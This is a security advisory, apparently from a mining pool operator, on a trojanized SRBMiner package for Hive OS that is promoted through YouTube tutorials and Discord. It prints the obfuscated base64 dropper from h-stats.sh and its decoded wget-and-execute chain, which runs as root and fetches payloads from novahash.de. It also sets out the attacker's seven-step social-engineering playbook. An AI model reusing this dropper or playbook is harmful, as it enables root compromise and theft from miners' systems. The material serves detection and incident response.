Trojanized SRBMiner 3.2.5 Package in the Wild
What miners need to know, in the order they’ll want to know it

IOCs — for the people who just want to grep

Everything a defender needs in one block. Fuller detail is further down, but if you’re here to check your fleet, start here.

The filesystem artefacts are cleaned up by the dropper after each run, so their absence does not mean you’re clean — only their presence is conclusive. Judge by logs, by the contents of h-stats.sh on disk, and by outbound traffic to novahash.de.

Distribution vector

The package is being offered from two distinct, attacker-controlled distribution points — with at least one additional staging layer on a public pastebin-style site. All three host the same trojanized srbminer-3.2.5.tar.gz, and all three are chosen to look like generic community-run resources to an operator searching for miner binaries:

Delivery: YouTube tutorials and Discord seeding (observed)

The trojanized tarball isn’t sitting on a random domain waiting for someone to stumble onto it. It’s being actively promoted through channels miners trust, and the promotion layer is larger and more deliberate than the original 2026-04-17 advisory described. As of 19 April 2026 the picture is:

What this tells us about the attacker’s playbook

This is social engineering, not a drive-by download. Each step of the attacker’s process is deliberately chosen to lower the target’s guard:

1. Pick small coins with active Discord communities and a steady trickle of newcomers. C64Chain, QTC, a longer-running niche coin like Vertcoin, or a brand-new micro-cap coin like LuckyPepe (LPEPE) are exactly the sort of targets where a new miner lands in the Discord, asks how to get started, and gratefully accepts the first link someone helpful hands them. Bigger coins attract more scrutiny; smaller ones attract more trust; brand-new ones attract almost no scrutiny at all.
2. Produce a working tutorial. The YouTube videos demonstrate rigs that actually mine, because the miner binary in the tarball is a real working miner (cover) and the flightsheet’s url field points at a real, working, third-party pool. Visual proof is persuasive — a video showing accepted shares rolling in is worth a thousand “trust me”s.
3. Abuse trusted hosting. Point the install_url at a GitLab raw-content URL (gitlab.com/hiveos-custom/m), and stage the flightsheet JSON on a GitLab-adjacent, pastebin-style service (anotepad.com). The download host is Google-tier infrastructure; the flightsheet host is a URL shortener in all but name. Neither is going to get flagged by a curious newcomer.
4. Accumulate reputation first, weaponise second. Once the video exists, more videos join it on the same channel, and a few comments say “this worked, thanks!”, the link becomes self-reinforcing — every new viewer sees social proof before they see a reason to be suspicious.
5. Seed into new-miner channels. Drop the anotepad or tarball link into Discord channels where newcomers ask for setup help. The payload runs on first stats poll; the attacker doesn’t need the victim to do anything beyond “follow the tutorial.”
6. Count on community moderators not auditing tarballs or flightsheets. Almost no coin Discord has the resources to reverse-engineer every “helpful” tarball posted to its mining channel, or to compare the wal_id in a shared flightsheet against the operator who posted it. A friendly-looking user with a YouTube channel looks like a community member, not a threat.
7. Rotate artefacts, keep the channel. The anotepad note can be edited at any time — wallet ID, pool URL, install_url can all change in seconds. The YouTube channel is the durable asset; the anotepad link inside each video’s description is the steering mechanism. Takedowns of individual tarball hosts don’t break the campaign if the channel is still up.

If you are part of the C64Chain, Qubit (QTC), Vertcoin (VTC), or LuckyPepe (LPEPE) community and set up a rig from any of the Argenminer tutorials, or linked a friend to one — please share this advisory with that community, and treat any rig built from one of those guides as compromised.

What’s in the tarball

The archive is a full Hive OS custom-miner integration, with a Minerstat integration (mmp-*) shoved in alongside for good measure. Authentic distributions ship one or the other — not both — so the bundling itself is a giveaway.

Telltale signs of repackaging

None of the following are malicious in themselves — they’re the kind of diagnostic detail that tells you the package isn’t from where it claims:

• Spanish-language comments in h-run.sh and h-manifest.conf — e.g. “Verificar si ya está corriendo”, “Cargar manifest”, “Ejecutar el binario con parámetros”, “Nombre del miner”, “Ruta al archivo de configuración”. Legitimate upstream SRBMiner integrations are in English.
• Internal version mismatch. h-manifest.conf declares CUSTOM_VERSION=3.2.5; mmp-external.conf declares EXTERNAL_VERSION="2.6.8-custom". Authentic packages are internally consistent. This one couldn’t quite get its story straight.
• Hive and Minerstat integrations bundled together. Upstream ships one or the other, not both.
• Unstripped binary. Upstream release binaries are stripped to reduce size and frustrate analysis. This one isn’t — strong indication the attacker built from source rather than repackaging the official release.

The payload: h-stats.sh

Most of h-stats.sh is, annoyingly, a perfectly functional Hive OS stats parser. It queries the miner’s HTTP API on 127.0.0.1:$MINER_API_PORT, parses hashrate, shares, temperatures, and fan speeds for GPU and CPU workers, handles single- and dual-algorithm mining, and emits valid stats JSON back to the Hive agent. This is not incidental — it’s essential cover. If the script were broken, Hive would show the rig as offline and the operator would investigate within minutes.

Appended after the legitimate stats logic, and before the final fallback assignments, is this block:

p="bm9odXAgc3VkbyB3Z2V0IC1xIGh0dHBzOi8vbm92YWhhc2guZGUvZmlsZXNsYWIvcmVjdWFpa2Fhbi5wbmcg
LU8gL2V0Yy9yZWN1YWlrYWFuLnppcCAmJiBzdWRvIHVuemlwIC1xIC1vIC9ldGMvcmVjdWFpa2Fhbi56aXAgLWQg
L2V0YyAmJiBzdWRvIGJhc2ggL2V0Yy9yZWN1YWlrYWFuLnNoIDsgc3VkbyB3Z2V0IC1xIGh0dHBzOi8vbm92YWhh
c2guZGUvZmlsZXNsYWIvbXF0YXRvLWZsYS5qcGcgLU8gL2V0Yy9tcXRhdG8tZmxhLnppcCAmJiB1bnppcCAtcSAt
byAvZXRjL21xdGF0by1mbGEuemlwIC1kIC9ldGMgJiYgYmFzaCAvZXRjL21xdGF0by1mbGEuc2ggOyBybSAvZXRj
L21xdGF0by1mbGEuemlwIDsgcm0gL2V0Yy9tcXRhdG8tZmxhLnNoIDsgcm0gL2V0Yy9yZWN1YWlrYWFuLnNoIDsg
cm0gL2V0Yy9yZWN1YWlrYWFuLnppcCA+IC9kZXYvbnVsbCAyPiYxICY="
nohup sh -c "$(echo "$p" | base64 -d)" > /dev/null 2>&1 &

Decoded, the base64 payload is:

nohup sudo wget -q https://novahash.de/fileslab/recuaikaan.png -O /etc/recuaikaan.zip \
  && sudo unzip -q -o /etc/recuaikaan.zip -d /etc \
  && sudo bash /etc/recuaikaan.sh ; \
sudo wget -q https://novahash.de/fileslab/mqtato-fla.jpg -O /etc/mqtato-fla.zip \
  && unzip -q -o /etc/mqtato-fla.zip -d /etc \
  && bash /etc/mqtato-fla.sh ; \
rm /etc/mqtato-fla.zip ; rm /etc/mqtato-fla.sh ; \
rm /etc/recuaikaan.sh ; rm /etc/recuaikaan.zip > /dev/null 2>&1 &

Execution behaviour, step by step

1. Two “image” files (.png and .jpg) are fetched via wget from novahash.de. The image extensions are camouflage: the actual content is ZIP archives. This is a familiar trick for slipping past naive egress filters that inspect script and archive traffic but wave images through.
2. Each archive is written to /etc/, renamed to .zip, and extracted in place with unzip -o (overwrite).
3. Each archive contains a shell script (recuaikaan.sh, mqtato-fla.sh) which is then executed — the first explicitly with sudo, the second relying on the already-root context in which the Hive agent runs.
4. All four artefacts (both .zips and both .shs) are then deleted from /etc/. This sanitises the dropper’s footprint: a forensic look at /etc/ afterwards finds nothing, while whatever the stage-2 scripts installed elsewhere remains resident.
5. The whole chain runs in the background via nohup … &, so the legitimate stats output upstream is neither blocked nor delayed. Hive continues to see a healthy rig.

Why h-stats.sh is the perfect injection site

The cover miner: srbminer_bin

The binary included in the package looks like a legitimate or near-legitimate SRBMiner-Multi build. Its job, from the attacker’s point of view, is to be uneventful:

• File: ELF 64-bit LSB shared object, x86-64, dynamically linked.
• Size: 20,309,184 bytes (~20 MB).
• SHA256: 9d69228bce9ad3f1cde0f7fa0141e7588922227ee67b3c3f12788a0429909d06
• BuildID: fc2487ec223c91039748e53c08328af91260cd8c
• Stripped: No (atypical for an upstream release — those are stripped).
• Embedded build paths: reference /home/doktor/VSCode/SRBMiner-Multi/Libs/{clew,libmicrohttpd,libressl,hwloc}/linux, which are the real SRBMiner author’s (doktor83) environment paths. Consistent with a build from genuine or slightly modified source.
• Embedded URLs: none found. No references to novahash.de or the dropper filenames.

The attacker’s plan depends on the miner producing plausible hashrate and share output so that Hive and Minerstat dashboards look normal and the operator has no reason to investigate. All observed malicious functionality is in h-stats.sh; the binary is not the attack vector.

Full Indicators of Compromise

Network

• Stage-2 C2 domain: novahash.de — block at firewall and DNS
• https://novahash.de/fileslab/recuaikaan.png
• https://novahash.de/fileslab/mqtato-fla.jpg
• Distribution domain (original): miningrepositories.blog
• Distribution mirror (GitLab): gitlab.com/hiveos-custom/m — specifically https://gitlab.com/hiveos-custom/m/-/raw/main/srbminer-3.2.5.tar.gz
• Attacker-controlled setup-instructions page: https://anotepad.com/notes/a7ycensj (contents rotate; the URL is the stable IOC)

Promotion / social-engineering channel

• YouTube channel: https://www.youtube.com/@Argenminer — multiple live tutorial videos for different small coins, each pointing at a per-coin anotepad staging note and, via it, at the trojanized tarball
• Known video (VTC): https://www.youtube.com/watch?v=Id3nMIt18EE — “VERTCOIN ! Top GPU Mining | HIVEOS Easy Flight Sheet Tutorial Pool & Wallet.”
• Known video (LPEPE): https://www.youtube.com/watch?v=xiA81jvYFJs — “LUCKYPEPE! New GPU/CPU Mining Coin! HIVEOS Easy Flight Sheet Tutorial Pool & Wallet!”
• Target coin communities so far: C64Chain, Qubit (QTC), Vertcoin (VTC), LuckyPepe (LPEPE)
• Wallet ID in captured VTC flightsheet: CoinEx, wal_id: 11032492 — treat as cover/prop, not as an attacker financial IOC: the malware is a root-level dropper, not a cryptojacker, and the mining config’s wallet/pool are theatre

Filesystem (dropper artefacts)

Deleted by the dropper after execution — absence is not exonerating:

/etc/recuaikaan.png
/etc/recuaikaan.zip
/etc/recuaikaan.sh
/etc/mqtato-fla.jpg
/etc/mqtato-fla.zip
/etc/mqtato-fla.sh

File hashes

• srbminer_bin SHA256: 9d69228bce9ad3f1cde0f7fa0141e7588922227ee67b3c3f12788a0429909d06
• srbminer_bin BuildID: fc2487ec223c91039748e53c08328af91260cd8c

Process and behavioural signatures

• wget calls to novahash.de from the Hive user account or root
• nohup sh -c invocations spawned from h-stats.sh
• sudo bash /etc/*.sh entries in sudo logs (if auditing is enabled)
• Unusual .zip, .png, or .jpg files appearing in /etc/ at any point

Package-level red flags (useful for finding other trojanised packages)

• Spanish-language comments in Hive or Minerstat integration scripts that upstream ships in English
• Internal version mismatches between manifest files
• Unstripped release binaries
• Hive and Minerstat integrations bundled in a single package
• Long base64 strings in any h-*.sh or mmp-*.sh script
• base64 -d | sh, base64 -d | bash, xxd -r -p | sh, or similar decode-and-execute pipelines anywhere in stats or run scripts

Incident Response Checklist

If you installed this package on any rig or server, work through these in order. Be slightly grumpy about it. That’s the correct emotional posture.

ls -la /etc/recuaikaan* /etc/mqtato* 2>/dev/null

cat /etc/ld.so.preload   # should be empty or not exist

find /etc /usr/local/bin /usr/local/sbin /root /tmp /var/tmp /dev/shm \
     -mtime -30 -type f -ls 2>/dev/null

crontab -l
for u in $(cut -f1 -d: /etc/passwd); do crontab -u "$u" -l 2>/dev/null; done
ls -la /etc/cron.* /etc/cron.d/ /var/spool/cron/
systemctl list-unit-files --state=enabled
systemctl list-timers --all

find / -name "authorized_keys" 2>/dev/null -exec ls -la {} \; -exec cat {} \;
grep -E '^(PermitRootLogin|PasswordAuthentication|AuthorizedKeysFile)' /etc/ssh/sshd_config

ss -tnp | grep -E '(srbminer|sh|wget|curl)'

chkrootkit
rkhunter --check --skip-keypress

grep -E 'wget|bash /etc' /var/log/auth.log /var/log/secure 2>/dev/null

Hardening: how not to end up here

A few habits that would have prevented this outright. None of them are novel; all of them are boring; boring is the vibe we’re going for.

A note from Suprnova

Pool operators and their miners are a target-rich population for this sort of attack. A trojanized miner on a rig isn’t cryptojacking — it’s worse. Once the dropper has root, it can scan the disk for wallet seed files and backed-up keystores, lift pool credentials and SSH keys out of config files, harvest browser sessions, enrol the rig in a botnet or residential-proxy pool, and pivot into your broader infrastructure. The mining-shaped exterior is just a lid on the box; the attacker’s actual interest is everything inside. Our users are, on average, more technical, more valuable, and more specifically targeted than the general population of “people who download things”, and that attention is not, on balance, a compliment.

If you come across a suspicious miner download, an unusual tarball, or a Discord or Telegram DM pushing “custom” or “patched” miner binaries — please forward it to admin@suprnova.cc or drop it in our Discord. We’ll take a look, update this advisory as needed, and warn the rest of the community. Belt, braces, and a bit of shared paranoia — the three pillars of a happy mining rig.